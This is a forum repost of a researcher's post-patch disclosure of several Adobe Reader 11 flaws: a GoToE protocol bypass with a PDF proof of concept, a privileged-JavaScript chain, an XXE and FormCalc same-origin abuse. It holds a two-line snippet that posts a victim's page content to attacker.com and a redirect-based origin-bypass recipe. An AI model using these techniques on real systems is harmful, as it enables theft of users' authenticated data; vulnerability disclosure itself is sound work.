Jump to content
Nytro

Multiple PDF Vulnerabilites - Text and Pictures on Steroids

Recommended Posts

Posted

Multiple PDF Vulnerabilites - Text and Pictures on Steroids

I had the pleasure to talk at the HackPra in Bochum on 22.10 this year.

My topic was about Adobe Reader and the vulnerabilites I found in version 11.0.09. The Adobe PSIRT team asked me to wait until they released a patch for the presented issues.

Adobe was informed on the 7th of Oktober and now the patch finally arrived. The link of the hackpra talk will be posted here and on twitter(@insertscript) as soon as it is available on youtube.

Important Note: If you want to test a PoC, your IE needs to be configured to open PDFs inside the browser. Sometimes IE opens PDFs outside of the browser context, which breaks PoCs, which rely on this context.

GotoE or GotoR - No Protocol Restrictions

Status: Unfixed

Reality: 50% fixed

The PDF standards defines a list of valid ActionTypes. Two of them, GotoE and GotoR, are used to

tell PDF to load PDFs from a different location.

Adobe Readers does not enforce protocol restriction correctly, which makes it possible to change the location to

file:///,mk-its: etc. They fixed it for GotoR but GotoE still works.

In context of webbrowsers it gives you the possibility to iframe the local file system etc.

Javascript and VBscript were forbidden, so no XSS possibility :/

PoC:

%PDF-1.1

1 0 obj

<<

/Type /Catalog

/Outlines 2 0 R

/Pages 3 0 R

/OpenAction 7 0 R

>>

endobj

[..]

7 0 obj

<<

/Type /Action

/S /GoToE /F (file:///C:/) /D (Chapter 1)

>>

endobj

[..]

PoC

Reader 11 vulnerability in predefined privileged Javascript functions (CVE-2014-8451)

Status: fixed

Reality: fixed

Before I am going to explain the vulnerability you should have a look at another vulnerability

in the privileged Javascript functions this year. It explains the concept of privileged Javascript very well

https://molnarg.github.io/cve-2014-0521/

There are two major steps to get privileged Javascript execution:

1) Get our function marked as a trusted or trust propagator function

2) After it is marked as a trust propagator, get it called by an already trusted function.

The first step is achieved via calling the function app.trustPropagatorFunction with a function as the parameter.

To be able to use it, you already need to be in a trusted code execution. It sounds unrealistic to pass all these requirements,

but one specific predefined function helped a lot. See yourself:

js_pr_1.png

The only use of this function is to iterace over an object and mark all properties, which are functions, as a trustpropagator function.

Lets say, this wasn't the best idea ;)

The first major step is done.

Now we need to get a trusted function to call our marked function. If you are familiar with Javascript you know that this is not that difficult to achieve.

Lets have a look at the following pre defined function:

js_pr_2.png

We can influence doc.path.match and let it point to our trustedproperty function.

As soon as it gets called, we are in privileged Javascript mode, so we can read local files as an example.

The PoC reads a local file from C:\test.txt:

js_pr_3.png

PoC

Fix: It seems like Adobe disabled/protects app.trustPropagatorFunction, because it triggers a security exception now.

Javascript function in Reader can be used to read data from external entities (CVE-2014-8452)

Status: Fixed

Reality: Not Fixed

This one is about a simple XXE I discovered.

I read the paper "Polyglots: Crossing Origins by Crossing Formats", where they discussed a vulnerability in

XMLData.parse. It was possible to use external entities and reference them.

I read the specification and it turns out there are more functions than "parse" to read XML.

I created a simple xml file, which references an url from the same domain and parsed it with loadXML.

It worked:

xxe.png

PoC

The Impact is limited because

o) it is limited to same origin

o) HTML Pages break the xml

o) Dynamic Entities are not supported

o) I had the idea to use a utf-16 xml to avoid breaking the xml structure, but I it didn't work.

But it still can be used to read JSON.

Same origin policy bypass in Reader (CVE-2014-8453)

Status: fixed

Reality: fixed but same origin still vulnerable!

In my opinion this is the most powerful vulnerability. Even without the Origin Bypass it shows you

how powerful/terrifying PDF can be.

Many people know that PDF supports a scripting language called Javascript but there is another one.

It is mentioned in the specification for XFA, a file type also supported by the adobe reader.

It is called formcalc and it not that powerful. It is used for simple math calculation. But in the adobe specification

there are three additional functions: 'GET','POST' and 'PUT'. Yes, their names speak for themselves.

'GET' has one parameter: an url. It will use the browser (YEAH COOKIES) to retrieve the url and return the content of it.

We can then use 'POST' to send the return content to our own server:

var content = GET("myfriends.php");

Post("http://attacker.com",content);

These functions are same origin, so a website needs to allow us to upload a PDF. Thats not that unrealistic for

most websites. Attacker.com is not same origin, so you need to setup a crossdomain.xml, as usual with Adobe products.

To sum up: This is not a bug, this is a feature. As soon as you are allowed to upload a PDF on a website,

you can access the website in the context of the user, who is viewing the PDF. Because the requests are issued

by the browser, cookies are sent too. You can also use it to break any CSRF Protection by reading the tokens.

PoC

After I found these functions, I found a same origin policy bypass. This makes it possible to use a victim browser

as a proxy (@beef still working on the module^^)

The bypass is really simple:

1. User A loads evil.pdf from http://attacker.com/evil.pdf

2. Evil.pdf uses formcalc GET to read http://attacker.com/redirect.php

3. redirect.php redirects with 301 to http://facebook.com

4. Adobe reader will follow and read the response without looking for a crossdomain.xml.

5. evil.pdf sends the content retrieved via POST to http://attacker.com/log.php

This simple bypass is fixed now. I hope they going to implement a dialog warning for same origin requests too. Posted by Alex Inführ at 6:34 AM

Sursa: InsertScript: Multiple PDF Vulnerabilites - Text and Pictures on Steroids

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...